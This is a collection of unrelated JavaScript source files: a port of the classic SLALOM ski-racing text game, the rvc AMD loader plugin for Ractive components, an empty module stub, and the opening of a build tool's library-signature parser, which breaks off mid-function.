var speed = [,14,18,26,29,18,
25,28,32,29,20,
29,29,25,21,26,
29,20,21,20,18,
26,25,33,31,22];
function show_instructions()
{
print("\n");
print("*** SLALOM: THIS IS THE 1976 WINTER OLYMPIC GIANT SLALOM. YOU ARE\n");
print(" THE AMERICAN TEAM'S ONLY HOPE OF A GOLD MEDAL.\n");
print("\n");
print(" 0 -- TYPE THIS IS YOU WANT TO SEE HOW LONG YOU'VE TAKEN.\n");
print(" 1 -- TYPE THIS IF YOU WANT TO SPEED UP A LOT.\n");
print(" 2 -- TYPE THIS IF YOU WANT TO SPEED UP A LITTLE.\n");
print(" 3 -- TYPE THIS IF YOU WANT TO SPEED UP A TEENSY.\n");
print(" 4 -- TYPE THIS IF YOU WANT TO KEEP GOING THE SAME SPEED.\n");
print(" 5 -- TYPE THIS IF YOU WANT TO CHECK A TEENSY.\n");
print(" 6 -- TYPE THIS IF YOU WANT TO CHECK A LITTLE.\n");
print(" 7 -- TYPE THIS IF YOU WANT TO CHECK A LOT.\n");
print(" 8 -- TYPE THIS IF YOU WANT TO CHEAT AND TRY TO SKIP A GATE.\n");
print("\n");
print(" THE PLACE TO USE THESE OPTIONS IS WHEN THE COMPUTER ASKS:\n");
print("\n");
print("OPTION?\n");
print("\n");
print(" GOOD LUCK!\n");
print("\n");
}
function show_speeds()
{
print("GATE MAX\n");
print(" # M.P.H.\n");
print("----------\n");
for (var b = 1; b <= v; b++) {
print(" " + b + " " + speed[b] + "\n");
}
}
// Main program
async function main()
{
var gold = 0;
var silver = 0;
var bronze = 0;
print(tab(33) + "SLALOM\n");
print(tab(15) + "CREATIVE COMPUTING MORRISTOWN, NEW JERSEY\n");
print("\n");
print("\n");
print("\n");
while (1) {
print("HOW MANY GATES DOES THIS COURSE HAVE (1 TO 25)");
v = parseInt(await input());
if (v >= 25) {
print("25 IS THE LIMIT\n");
v = 25;
} else if (v < 1) {
print("TRY AGAIN.\n");
} else {
break;
}
}
print("\n");
print("TYPE \"INS\" FOR INSTRUCTIONS\n");
print("TYPE \"MAX\" FOR APPROXIMATE MAXIMUM SPEEDS\n");
print("TYPE \"RUN\" FOR THE BEGINNING OF THE RACE\n");
while (1) {
print("COMMAND--");
str = await input();
if (str == "INS") {
show_instructions();
} else if (str == "MAX") {
show_speeds();
} else if (str == "RUN") {
break;
} else {
print("\"" + str + "\" IS AN ILLEGAL COMMAND--RETRY");
}
}
while (1) {
print("RATE YOURSELF AS A SKIER, (1=WORST, 3=BEST)");
a = parseInt(await input());
if (a < 1 || a > 3)
print("THE BOUNDS ARE 1-3\n");
else
break;
}
while (1) {
print("THE STARTER COUNTS DOWN...5...4...3...2...1...GO!");
t = 0;
s = Math.floor(Math.random(1) * (18 - 9) + 9);
print("\n");
print("YOU'RE OFF!\n");
for (o = 1; o <= v; o++) {
q = speed[o];
print("\n");
print("HERE COMES GATE #" + o + " :\n");
print(s + " M.P.H.\n");
s1 = s;
while (1) {
print("OPTION");
o1 = parseInt(await input());
if (o1 < 0 || o1 > 8)
print("WHAT?\n");
else if (o1 == 0)
print("YOU'VE TAKEN " + (t + Math.random()) + " SECONDS.\n");
else
break;
}
finish = false;
switch (o1) {
case 1:
s += Math.floor(Math.random() * (10 - 5) + 5);
break;
case 2:
s += Math.floor(Math.random() * (5 - 3) + 3);
break;
case 3:
s += Math.floor(Math.random() * (4 - 1) + 1);
break;
case 4:
break;
case 5:
s -= Math.floor(Math.random() * (4 - 1) + 1);
break;
case 6:
s -= Math.floor(Math.random() * (5 - 3) + 3);
break;
case 7:
s -= Math.floor(Math.random() * (10 - 5) + 5);
break;
case 8:
print("***CHEAT\n");
if (Math.random() >= 0.7) {
print("YOU MADE IT!\n");
t += 1.5;
} else {
print("AN OFFICIAL CAUGHT YOU!\n");
print("YOU TOOK " + (t + Math.random()) + " SECONDS.\n");
finish = true;
}
break;
}
if (!finish) {
if (o1 != 4)
print(s + " M.P.H.\n");
if (s > q) {
if (Math.random() < ((s - q) * 0.1) + 0.2) {
print("YOU WENT OVER THE MAXIMUM SPEED AND ");
if (Math.random() < 0.5) {
print("SNAGGED A FLAG!\n");
} else {
print("WIPED OUT!\n");
}
print("YOU TOOK " + (t + Math.random()) + " SECONDS.\n");
finish = true;
} else {
print("YOU WENT OVER THE MAXIMUM SPEED AND MADE IT!\n");
}
} else if (s > q - 1) {
print("CLOSE ONE!\n");
}
}
if (finish)
break;
if (s < 7) {
print("LET'S BE REALISTIC, OK? LET'S GO BACK AND TRY AGAIN...\n");
s = s1;
o--;
continue;
}
t += q - s + 1;
if (s > q) {
t += 0.5;
}
}
if (!finish) {
print("\n");
print("YOU TOOK " + (t + Math.random()) + " SECONDS.\n");
m = t;
m /= v;
if (m < 1.5 - (a * 0.1)) {
print("YOU WON A GOLD MEDAL!\n");
gold++;
} else if (m < 2.9 - (a * 0.1)) {
print("YOU WON A SILVER MEDAL\n");
silver++;
} else if (m < 4.4 - (a * 0.1)) {
print("YOU WON A BRONZE MEDAL\n");
bronze++;
}
}
while (1) {
print("\n");
print("DO YOU WANT TO RACE AGAIN");
str = await input();
if (str != "YES" && str != "NO")
print("PLEASE TYPE 'YES' OR 'NO'\n");
else
break;
}
if (str != "YES")
break;
}
print("THANKS FOR THE RACE\n");
if (gold >= 1)
print("GOLD MEDALS: " + gold + "\n");
if (silver >= 1)
print("SILVER MEDALS: " + silver + "\n");
if (bronze >= 1)
print("BRONZE MEDALS: " + bronze + "\n");
}
main();
|
define(['ractive'], function (Ractive) {
'use strict';
/*
amd-loader
Adapted from https://github.com/guybedford/amd-loader by Guy Bedford
MIT License: https://github.com/guybedford/amd-loader/blob/master/LICENSE
*/
var loader = function (pluginId, ext, allowExts, compile) {
if (arguments.length == 3) {
compile = allowExts;
allowExts = undefined;
} else if (arguments.length == 2) {
compile = ext;
ext = allowExts = undefined;
}
return {
buildCache: {},
load: function (name, req, load, config) {
var path = req.toUrl(name);
var queryString = "";
if (path.indexOf("?") != -1) {
queryString = path.substr(path.indexOf("?"));
path = path.substr(0, path.length - queryString.length);
}
// precompiled -> load from .ext.js extension
if (config.precompiled instanceof Array) {
for (var i = 0; i < config.precompiled.length; i++) if (path.substr(0, config.precompiled[i].length) == config.precompiled[i]) return require([path + "." + pluginId + ".js" + queryString], load, load.error);
} else if (config.precompiled === true) return require([path + "." + pluginId + ".js" + queryString], load, load.error);
// only add extension if a moduleID not a path
if (ext && name.substr(0, 1) != "/" && !name.match(/:\/\//)) {
var validExt = false;
if (allowExts) {
for (var i = 0; i < allowExts.length; i++) {
if (name.substr(name.length - allowExts[i].length - 1) == "." + allowExts[i]) validExt = true;
}
}
if (!validExt) path += "." + ext + queryString;else path += queryString;
} else {
path += queryString;
}
var self = this;
loader.fetch(path, function (source) {
compile(name, source, req, function (compiled) {
if (typeof compiled == "string") {
if (config.isBuild) self.buildCache[name] = compiled;
load.fromText(compiled);
} else load(compiled);
}, load.error, config);
}, load.error);
},
write: function (pluginName, moduleName, write) {
var compiled = this.buildCache[moduleName];
if (compiled) write.asModule(pluginName + "!" + moduleName, compiled);
},
writeFile: function (pluginName, name, req, write) {
write.asModule(pluginName + "!" + name, req.toUrl(name + "." + pluginId + ".js"), this.buildCache[name]);
}
};
};
//loader.load = function(name, req, load, config) {
// load(loader);
//}
if (typeof window != "undefined") {
var progIds = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "Msxml2.XMLHTTP.4.0"];
var getXhr = function (path) {
// check if same domain
var sameDomain = true,
domainCheck = /^(\w+:)?\/\/([^\/]+)/.exec(path);
if (typeof window != "undefined" && domainCheck) {
sameDomain = domainCheck[2] === window.location.host;
if (domainCheck[1]) sameDomain &= domainCheck[1] === window.location.protocol;
}
// create xhr
var xhr;
if (typeof XMLHttpRequest !== "undefined") xhr = new XMLHttpRequest();else {
var progId;
for (var i = 0; i < 3; i += 1) {
progId = progIds[i];
try {
xhr = new ActiveXObject(progId);
} catch (e) {}
if (xhr) {
progIds = [progId]; // so faster next time
break;
}
}
}
// use cors if necessary
if (!sameDomain) {
if (typeof XDomainRequest != "undefined") xhr = new XDomainRequest();else if (!("withCredentials" in xhr)) throw new Error("getXhr(): Cross Origin XHR not supported.");
}
if (!xhr) throw new Error("getXhr(): XMLHttpRequest not available");
return xhr;
};
loader.fetch = function (url, callback, errback) {
// get the xhr with CORS enabled if cross domain
var xhr = getXhr(url);
xhr.open("GET", url, !requirejs.inlineRequire);
xhr.onreadystatechange = function (evt) {
var status, err;
//Do not explicitly handle errors, those should be
//visible via console output in the browser.
if (xhr.readyState === 4) {
status = xhr.status;
if (status > 399 && status < 600) {
err = new Error(url + " HTTP status: " + status);
err.xhr = xhr;
if (errback) errback(err);
} else {
if (xhr.responseText == "") return errback(new Error(url + " empty response"));
callback(xhr.responseText);
}
}
};
xhr.send(null);
};
} else if (typeof process !== "undefined" && process.versions && !!process.versions.node) {
var fs = requirejs.nodeRequire("fs");
loader.fetch = function (path, callback) {
callback(fs.readFileSync(path, "utf8"));
};
} else if (typeof Packages !== "undefined") {
loader.fetch = function (path, callback, errback) {
var stringBuffer,
line,
encoding = "utf-8",
file = new java.io.File(path),
lineSeparator = java.lang.System.getProperty("line.separator"),
input = new java.io.BufferedReader(new java.io.InputStreamReader(new java.io.FileInputStream(file), encoding)),
content = "";
try {
stringBuffer = new java.lang.StringBuffer();
line = input.readLine();
// Byte Order Mark (BOM) - The Unicode Standard, version 3.0, page 324
// http://www.unicode.org/faq/utf_bom.html
// Note that when we use utf-8, the BOM should appear as 'EF BB BF', but it doesn't due to this bug in the JDK:
// http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4508058
if (line && line.length() && line.charAt(0) === 65279) {
// Eat the BOM, since we've already found the encoding on this file,
// and we plan to concatenating this buffer with others; the BOM should
// only appear at the top of a file.
line = line.substring(1);
}
stringBuffer.append(line);
while ((line = input.readLine()) !== null) {
stringBuffer.append(lineSeparator);
stringBuffer.append(line);
}
//Make sure we return a JavaScript string and not a Java string.
content = String(stringBuffer.toString()); //String
} catch (err) {
if (errback) errback(err);
} finally {
input.close();
}
callback(content);
};
} else {
loader.fetch = function () {
throw new Error("Environment unsupported.");
};
}
var amdLoader = loader;
function getName(path) {
var pathParts, filename, lastIndex;
pathParts = path.split("/");
filename = pathParts.pop();
lastIndex = filename.lastIndexOf(".");
if (lastIndex !== -1) {
filename = filename.substr(0, lastIndex);
}
return filename;
}
/**
* Finds the line and column position of character `char`
in a (presumably) multi-line string
* @param {array} lines - an array of strings, each representing
a line of the original string
* @param {number} char - the character index to convert
* @returns {object}
* @property {number} line - the zero-based line index
* @property {number} column - the zero-based column index
* @property {number} char - the character index that was passed in
*/
function getLinePosition(lines, char) {
var lineEnds,
line = 0,
lineStart = 0,
column;
lineEnds = lines.map(function (line) {
var lineEnd = lineStart + line.length + 1; // +1 for the newline
lineStart = lineEnd;
return lineEnd;
});
while (char >= lineEnds[line]) {
lineStart = lineEnds[line];
line += 1;
}
column = char - lineStart;
return { line: line, column: column, char: char };
}
var requirePattern = /require\s*\(\s*(?:"([^"]+)"|'([^']+)')\s*\)/g;
var TEMPLATE_VERSION = 3;
function parse(source) {
var parsed, template, links, imports, scriptItem, script, styles, match, modules, i, item, result;
if (!rcu.Ractive) {
throw new Error("rcu has not been initialised! You must call rcu.init(Ractive) before rcu.parse()");
}
parsed = rcu.Ractive.parse(source, {
noStringify: true,
interpolate: { script: false, style: false },
includeLinePositions: true
});
if (parsed.v !== TEMPLATE_VERSION) {
throw new Error("Mismatched template version (expected " + TEMPLATE_VERSION + ", got " + parsed.v + ")! Please ensure you are using the latest version of Ractive.js in your build process as well as in your app");
}
links = [];
styles = [];
modules = [];
// Extract certain top-level nodes from the template. We work backwards
// so that we can easily splice them out as we go
template = parsed.t;
i = template.length;
while (i--) {
item = template[i];
if (item && item.t === 7) {
if (item.e === "link" && (item.a && item.a.rel === "ractive")) {
links.push(template.splice(i, 1)[0]);
}
if (item.e === "script" && (!item.a || !item.a.type || item.a.type === "text/javascript")) {
if (scriptItem) {
throw new Error("You can only have one <script> tag per component file");
}
scriptItem = template.splice(i, 1)[0];
}
if (item.e === "style" && (!item.a || !item.a.type || item.a.type === "text/css")) {
styles.push(template.splice(i, 1)[0]);
}
}
}
// Clean up template - trim whitespace left over from the removal
// of <link>, <style> and <script> tags from start...
while (/^\s*$/.test(template[0])) {
template.shift();
}
// ...and end
while (/^\s*$/.test(template[template.length - 1])) {
template.pop();
}
// Extract names from links
imports = links.map(function (link) {
var href, name;
href = link.a.href;
name = link.a.name || getName(href);
if (typeof name !== "string") {
throw new Error("Error parsing link tag");
}
return {
name: name,
href: href
};
});
result = {
source: source,
template: parsed,
imports: imports,
css: styles.map(extractFragment).join(" "),
script: "",
modules: modules
};
// extract position information, so that we can generate source maps
if (scriptItem) {
(function () {
var contentStart, contentEnd, lines;
contentStart = source.indexOf(">", scriptItem.p[2]) + 1;
contentEnd = contentStart + scriptItem.f[0].length;
lines = source.split("\n");
result.scriptStart = getLinePosition(lines, contentStart);
result.scriptEnd = getLinePosition(lines, contentEnd);
})();
// Glue scripts together, for convenience
result.script = scriptItem.f[0];
while (match = requirePattern.exec(result.script)) {
modules.push(match[1] || match[2]);
}
}
return result;
}
function extractFragment(item) {
return item.f;
}
var _eval, isBrowser, isNode, head, Module, base64Encode;
// This causes code to be eval'd in the global scope
_eval = eval;
if (typeof document !== "undefined") {
isBrowser = true;
head = document.getElementsByTagName("head")[0];
} else if (typeof process !== "undefined") {
isNode = true;
Module = (require.nodeRequire || require)("module");
}
if (typeof btoa === "function") {
base64Encode = btoa;
} else if (typeof Buffer === "function") {
base64Encode = function (str) {
return new Buffer(str, "utf-8").toString("base64");
};
} else {
base64Encode = function () {};
}
function eval2(script, options) {
options = options || {};
if (options.sourceMap) {
script += "\n//# sourceMa" + "ppingURL=data:application/json;charset=utf-8;base64," + base64Encode(JSON.stringify(options.sourceMap));
} else if (options.sourceURL) {
script += "\n//# sourceURL=" + options.sourceURL;
}
try {
return _eval(script);
} catch (err) {
if (isNode) {
locateErrorUsingModule(script, options.sourceURL || "");
return;
}
// In browsers, only locate syntax errors. Other errors can
// be located via the console in the normal fashion
else if (isBrowser && err.name === "SyntaxError") {
locateErrorUsingDataUri(script);
}
throw err;
}
}
eval2.Function = function () {
var i,
args = [],
body,
wrapped,
options;
i = arguments.length;
while (i--) {
args[i] = arguments[i];
}
if (typeof args[args.length - 1] === "object") {
options = args.pop();
} else {
options = {};
}
// allow an array of arguments to be passed
if (args.length === 1 && Object.prototype.toString.call(args) === "[object Array]") {
args = args[0];
}
if (options.sourceMap) {
options.sourceMap = clone(options.sourceMap);
// shift everything a line down, to accommodate `(function (...) {`
options.sourceMap.mappings = ";" + options.sourceMap.mappings;
}
body = args.pop();
wrapped = "(function (" + args.join(", ") + ") {\n" + body + "\n})";
return eval2(wrapped, options);
};
function locateErrorUsingDataUri(code) {
var dataURI, scriptElement;
dataURI = "da" + "ta:text/javascript;charset=utf-8," + encodeURIComponent(code);
scriptElement = document.createElement("script");
scriptElement.src = dataURI;
scriptElement.onload = function () {
head.removeChild(scriptElement);
};
head.appendChild(scriptElement);
}
function locateErrorUsingModule(code, url) {
var m = new Module();
try {
m._compile("module.exports = function () {\n" + code + "\n};", url);
} catch (err) {
console.error(err);
return;
}
m.exports();
}
function clone(obj) {
var cloned = {},
key;
for (key in obj) {
if (obj.hasOwnProperty(key)) {
cloned[key] = obj[key];
}
}
return cloned;
}
var charToInteger = {};
var integerToChar = {};
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".split("").forEach(function (char, i) {
charToInteger[char] = i;
integerToChar[i] = char;
});
function decode(string) {
var result = [],
len = string.length,
i,
hasContinuationBit,
shift = 0,
value = 0,
integer,
shouldNegate;
for (i = 0; i < len; i += 1) {
integer = charToInteger[string[i]];
if (integer === undefined) {
throw new Error("Invalid character (" + string[i] + ")");
}
hasContinuationBit = integer & 32;
integer &= 31;
value += integer << shift;
if (hasContinuationBit) {
shift += 5;
} else {
shouldNegate = value & 1;
value >>= 1;
result.push(shouldNegate ? -value : value);
// reset
value = shift = 0;
}
}
return result;
}
function encode(value) {
var result, i;
if (typeof value === "number") {
result = encodeInteger(value);
} else {
result = "";
for (i = 0; i < value.length; i += 1) {
result += encodeInteger(value[i]);
}
}
return result;
}
function encodeInteger(num) {
var result = "",
clamped;
if (num < 0) {
num = -num << 1 | 1;
} else {
num <<= 1;
}
do {
clamped = num & 31;
num >>= 5;
if (num > 0) {
clamped |= 32;
}
result += integerToChar[clamped];
} while (num > 0);
return result;
}
/**
* Encodes a string as base64
* @param {string} str - the string to encode
* @returns {string}
*/
var btoa__default = btoa__btoa;
function btoa__btoa(str) {
return new Buffer(str).toString("base64");
}
var SourceMap = function (properties) {
this.version = 3;
this.file = properties.file;
this.sources = properties.sources;
this.sourcesContent = properties.sourcesContent;
this.names = properties.names;
this.mappings = properties.mappings;
};
SourceMap.prototype = {
toString: function () {
return JSON.stringify(this);
},
toUrl: function () {
return "data:application/json;charset=utf-8;base64," + btoa__default(this.toString());
}
};
/**
* Generates a v3 sourcemap between an original source and its built form
* @param {object} definition - the result of `rcu.parse( originalSource )`
* @param {object} options
* @param {string} options.source - the name of the original source file
* @param {number=} options.offset - the number of lines in the generated
code that precede the script portion of the original source
* @param {string=} options.file - the name of the generated file
* @returns {object}
*/
function generateSourceMap(definition, options) {
var lines, mappings, offset;
if (!options || !options.source) {
throw new Error("You must supply an options object with a `source` property to rcu.generateSourceMap()");
}
// The generated code probably includes a load of module gubbins - we don't bother
// mapping that to anything, instead we just have a bunch of empty lines
offset = new Array((options.offset || 0) + 1).join(";");
lines = definition.script.split("\n");
mappings = offset + lines.map(function (line, i) {
if (i === 0) {
// first mapping points to code immediately following opening <script> tag
return encode([0, 0, definition.scriptStart.line, definition.scriptStart.column]);
}
if (i === 1) {
return encode([0, 0, 1, -definition.scriptStart.column]);
}
return "AACA"; // equates to [ 0, 0, 1, 0 ];
}).join(";");
return new SourceMap({
file: options.file,
sources: [options.source],
sourcesContent: [definition.source],
names: [],
mappings: mappings
});
}
function make(source, config, callback, errback) {
var definition, url, createComponent, loadImport, imports, loadModule, modules, remainingDependencies, onloaded, ready;
config = config || {};
// Implementation-specific config
url = config.url || "";
loadImport = config.loadImport;
loadModule = config.loadModule;
definition = parse(source);
createComponent = function () {
var options, Component, factory, component, exports, prop;
options = {
template: definition.template,
partials: definition.partials,
css: definition.css,
components: imports
};
if (definition.script) {
var sourceMap = generateSourceMap(definition, {
source: url,
content: source
});
try {
factory = new eval2.Function("component", "require", "Ractive", definition.script, {
sourceMap: sourceMap
});
component = {};
factory(component, config.require, rcu.Ractive);
exports = component.exports;
if (typeof exports === "object") {
for (prop in exports) {
if (exports.hasOwnProperty(prop)) {
options[prop] = exports[prop];
}
}
}
Component = rcu.Ractive.extend(options);
} catch (err) {
errback(err);
return;
}
callback(Component);
} else {
Component = rcu.Ractive.extend(options);
callback(Component);
}
};
// If the definition includes sub-components e.g.
// <link rel='ractive' href='foo.html'>
//
// ...then we need to load them first, using the loadImport method
// specified by the implementation.
//
// In some environments (e.g. AMD) the same goes for modules, which
// most be loaded before the script can execute
remainingDependencies = definition.imports.length + (loadModule ? definition.modules.length : 0);
if (remainingDependencies) {
onloaded = function () {
if (! --remainingDependencies) {
if (ready) {
createComponent();
} else {
setTimeout(createComponent, 0); // cheap way to enforce asynchrony for a non-Zalgoesque API
}
}
};
if (definition.imports.length) {
if (!loadImport) {
throw new Error("Component definition includes imports (e.g. `<link rel=\"ractive\" href=\"" + definition.imports[0].href + "\">`) but no loadImport method was passed to rcu.make()");
}
imports = {};
definition.imports.forEach(function (toImport) {
loadImport(toImport.name, toImport.href, url, function (Component) {
imports[toImport.name] = Component;
onloaded();
});
});
}
if (loadModule && definition.modules.length) {
modules = {};
definition.modules.forEach(function (name) {
loadModule(name, name, url, function (Component) {
modules[name] = Component;
onloaded();
});
});
}
} else {
setTimeout(createComponent, 0);
}
ready = true;
}
var resolve = resolvePath;
function resolvePath(relativePath, base) {
var pathParts, relativePathParts, part;
// If we've got an absolute path, or base is '', return
// relativePath
if (!base || relativePath.charAt(0) === "/") {
return relativePath;
}
// 'foo/bar/baz.html' -> ['foo', 'bar', 'baz.html']
pathParts = (base || "").split("/");
relativePathParts = relativePath.split("/");
// ['foo', 'bar', 'baz.html'] -> ['foo', 'bar']
pathParts.pop();
while (part = relativePathParts.shift()) {
if (part === "..") {
pathParts.pop();
} else if (part !== ".") {
pathParts.push(part);
}
}
return pathParts.join("/");
}
var rcu = {
init: function (copy) {
rcu.Ractive = copy;
},
parse: parse,
make: make,
generateSourceMap: generateSourceMap,
resolve: resolve,
getName: getName
};
var _rcu = rcu;
function load(base, req, source, callback, errback) {
_rcu.make(source, {
url: "" + base + ".html",
loadImport: function (name, path, baseUrl, callback) {
path = _rcu.resolve(path, base);
req(["rvc!" + path.replace(/\.html$/, "")], callback);
},
loadModule: function (name, path, baseUrl, callback) {
req([path], callback);
},
require: function (name) {
return req(name);
}
}, callback, errback);
}
/*
toSource
Adapted from https://github.com/marcello3d/node-tosource by Marcello Bastéa-Forte
zlib license: https://github.com/marcello3d/node-tosource/blob/master/LICENSE
*/
function toSource(object, filter, indent, startingIndent) {
var seen = [];
return walk(object, filter, indent === undefined ? " " : indent || "", startingIndent || "", seen);
function walk(object, filter, indent, currentIndent, seen) {
var nextIndent = currentIndent + indent;
object = filter ? filter(object) : object;
switch (typeof object) {
case "string":
return JSON.stringify(object);
case "boolean":
case "number":
case "undefined":
return "" + object;
case "function":
return object.toString();
}
if (object === null) return "null";
if (object instanceof RegExp) return object.toString();
if (object instanceof Date) return "new Date(" + object.getTime() + ")";
var seenIndex = seen.indexOf(object) + 1;
if (seenIndex > 0) return "{$circularReference:" + seenIndex + "}";
seen.push(object);
function join(elements) {
return indent.slice(1) + elements.join("," + (indent && "\n") + nextIndent) + (indent ? " " : "");
}
if (Array.isArray(object)) {
return "[" + join(object.map(function (element) {
return walk(element, filter, indent, nextIndent, seen.slice());
})) + "]";
}
var keys = Object.keys(object);
return keys.length ? "{" + join(keys.map(function (key) {
return (legalKey(key) ? key : JSON.stringify(key)) + ":" + walk(object[key], filter, indent, nextIndent, seen.slice());
})) + "}" : "{}";
}
}
var KEYWORD_REGEXP = /^(abstract|boolean|break|byte|case|catch|char|class|const|continue|debugger|default|delete|do|double|else|enum|export|extends|false|final|finally|float|for|function|goto|if|implements|import|in|instanceof|int|interface|long|native|new|null|package|private|protected|public|return|short|static|super|switch|synchronized|this|throw|throws|transient|true|try|typeof|undefined|var|void|volatile|while|with)$/;
function legalKey(string) {
return /^[a-z_$][0-9a-z_$]*$/gi.test(string) && !KEYWORD_REGEXP.test(string);
}
// TODO more intelligent minification? removing comments?
// collapsing declarations?
function minifycss(css) {
return css.replace(/^\s+/gm, "");
}
function build(name, source, callback) {
var definition = _rcu.parse(source);
var dependencies = ["require", "ractive"];
var dependencyArgs = ["require", "Ractive"];
var importMap = [];
// Add dependencies from <link> tags, i.e. sub-components
definition.imports.forEach(function (toImport, i) {
var href = toImport.href;
var name = toImport.name;
var argumentName = "_import_" + i;
dependencies.push("rvc!" + href.replace(/\.html$/, ""));
dependencyArgs.push(argumentName);
importMap.push("\"" + name + "\": " + argumentName);
});
// Add dependencies from inline require() calls
dependencies = dependencies.concat(definition.modules);
var options = ["template: " + toSource(definition.template, null, "", "")];
if (definition.css) {
options.push("css: " + JSON.stringify(minifycss(definition.css)));
}
if (definition.imports.length) {
options.push("components: {" + importMap.join(",") + "}");
}
var builtModule = "define(\"rvc!" + name + "\", " + JSON.stringify(dependencies) + ",function(" + dependencyArgs.join(",") + "){\n\tvar __options__ = {\n\t\t" + options.join(",\n\t\t") + "\n\t},\n\tcomponent = {};";
if (definition.script) {
builtModule += "\n" + definition.script + "\n\tif ( typeof component.exports === \"object\" ) {\n\t\tfor ( var __prop__ in component.exports ) {\n\t\t\tif ( component.exports.hasOwnProperty(__prop__) ) {\n\t\t\t\t__options__[__prop__] = component.exports[__prop__];\n\t\t\t}\n\t\t}\n\t}\n";
}
builtModule += "return Ractive.extend(__options__);\n});";
callback(builtModule);
}
_rcu.init(Ractive);
var rvc = amdLoader("rvc", "html", function (name, source, req, callback, errback, config) {
if (config.isBuild) {
build(name, source, callback, errback);
} else {
load(name, req, source, callback, errback);
}
});
return rvc;
});
|
exports = module.exports = {
}
|
/** ****************************************************************************
*
* Parses the linked libraries to retrieve the exported name.
*
* lib.js is just a literal object that contains a set of functions. It
* can't be intantiated.
*
*
* Private Functions:
* . _computeLink computes the link from the imported node module,
* . _replaceTags adds the exported name and the reference to the parent,
* . _addInfos surrounds the library by the collected information,
* . _searchFirstSignature searches for the first library signature,
* . _searchSecondSignature searches for the second library signature,
* . _searchThirdSignature searches for the third library signature,
* . _parse parses the library line by line,
*
*
* Public Methods:
* . computeLink computes the link from the imported node module,
* . parse parses the library line by line to extract info,
*
*
*
* @namespace Kadoo
* @dependencies none
* @exports -
* @author -
* @since 0.0.0
* @version -
* ************************************************************************** */
/* eslint one-var: 0, semi-style: 0, no-underscore-dangle: 0 */
'use strict';
// -- Vendor Modules
const stream = require('stream')
, readline = require('readline')
, path = require('path')
;
// -- Local Modules
const config = require('../config')
;
// -- Local Constants
const { TREE } = config
, { LIBIN } = config
, { INDENT4 } = config
;
// -- Local Variables
// -- Private Functions --------------------------------------------------------
/**
* Computes the link from the imported node module.
*
* @function (arg1, arg2)
* @private
* @param {Array} the list of modules,
* @param {String} the file path,
* @returns {String} returns the computed link,
* @since 0.0.0
*/
function _computeLink(packets, file) {
const link = path.relative(packets[0].base, file.replace('-', '')).split(path.sep);
return `${LIBIN}.${link[link.length - 1]}`;
}
/**
* Adds the exported name and the reference to the parent in the header.
*
* @function (arg1, arg2, arg3)
* @private
* @param {String} the library (node module) contents,
* @param {String} the exported name,
* @param {String} the link to the parent,
* @returns {} -,
* @since 0.0.0
*/
function _replaceTags(revcontents, libname, link) {
let l = link.split('.');
l.splice(-1);
l = l.join('.');
return revcontents
.replace('{{lib:name}}', libname)
.replace('{{lib:link}}', `${TREE}.${l}`)
;
}
/**
* Surrounds the library by the collected information.
*
* @function (arg1, arg2)
* @private
* @param {Object} the library object,
* @param {String} the modified library contents,
* @returns {} -,
* @since 0.0.0
*/
/* eslint-disable no-param-reassign */
function _addInfos(packet, revcontents) {
const { index } = packet
, file = packet.path
, { name } = packet.export
, { link } = packet.export
;
let contents = '';
let h = `${INDENT4}/* index: ${index}, path: '${file}' */\n`;
h += `${INDENT4}/* export: ${name}, link: '${link}' */\n`;
contents = `${h}${revcontents}`;
packet.revcontents = Buffer.from(contents, 'utf8');
}
/* eslint-enable no-param-reassign */
/**
* Searches for the first library signature.
* (pattern: "if (typeof define === 'function' && define.amd)")
*
* @function (arg1)
* @private
* @param {String} the current line,
* @returns {Boolean} returns true if the signature is found,
* @since 0.0.0
*/
function _searchFirstSignature(line) {
const s = line.trim().split(' ');
if (s[0] === 'if'
&& s[1] === '(typeof'
&& s[2] === 'define'
&& s[3] === '==='
&& s[4] === '\'function\''
&& s[5] === '&&'
&& s[6] === 'define.amd)') {
return true;
}
return false;
}
/**
* Searches for the second library signature.
* (pattern: "module.exports = factory(root);")
*
* @function (arg1)
* @private
* @param {String} the current line,
* @returns {Boolean} returns true if the signature is found,
* @since 0.0.0
*/
function _searchSecondSignature(line) {
const s = line.trim().split(' ');
if (s[0] === 'module.exports'
&& s[1] === '='
&& s[2] === 'factory(root);'
) {
return true;
}
return false;
}
/**
* Searches for the third library signature.
* (pattern: "root.LibName = factory(root);")
*
* @function (arg1)
* @private
* @param {String} the current line,
* @returns {Boolean} returns true if the signature is found,
* @since 0.0.0
*/
function _searchThirdSignature(line) {
const s = line.trim().split(' ');
if (s[0].startsWith('root.')
&& s[1] === '='
&& s[2] === 'factory(root);'
) {
return s[0].slice(5);
}
return false;
}
/**
* Searches for the fourth library signature.
* (pattern: "this: }(this, (root) => {")
*
* @function (arg1)
* @private
* @param {String} the current line,
* @returns {Boolean} returns true if the signature is found,
* @since 0.0.0
*/
function _searchFourthSignature(line) {
const s = line.trim();
if (s === '}(this, (root) => {') {
return true;
}
return null;
}
/**
* Parses the library line by line to extract useful information.
*
* @function (arg1, arg2, arg3)
* @private
* @param {Array} the list of modules,
* @param {Object} the library object,
* @param {Function} the function to call at the completion,
* @returns {} -,
* @since 0.0.0
*/
/* eslint-disable no-param-reassign */
function _parse(packets, packet, callback) {
const MAXCOUNT = 50
, bufferStream = new stream.PassThrough()
;
bufferStream.end(Buffer.from(packet.contents));
const rl = readline.createInterface({
input: bufferStream,
crlfDelay: Infinity,
});
let revcontents = ''
, libname = 'unknown'
, count = 0
, sig1 = false
, sig2 = false
, sig3 = false
, sig4 = false
, wc
, l
;
rl.on('line', (line) => {
if (!sig1) {
sig1 = _searchFirstSignature(line);
l = `${INDENT4}${line}`.trimEnd();
revcontents += `${l}\n`;
count += 1;
if (count > MAXCOUNT) {
throw new Error(
`We haven't found the first signature of the library ${packet.path}`,
);
}
return;
}
if (!sig2) {
l = `${INDENT4}${line}`.trimEnd();
sig2 = _searchSecondSignature(line);
if (sig2) {
// If the signature is found, we add an extra line containing
// 'root.{Lib} = factory(root);' to reference the embedded library
// when the library is run on Node.js.
wc = `${INDENT4}${'\x20'.repeat(line.search(/\S/))}`;
l += `\n${wc}/* eslint-disable-next-line no-param-reassign */`;
l += `\n${wc}root.{{lib:name}} = factory(root);`;
}
revcontents += `${l}\n`;
count += 1;
if (count > MAXCOUNT) {
throw new Error(
`We haven't found the second signature of the library ${packet.path}`,
);
}
return;
}
if (!sig3) {
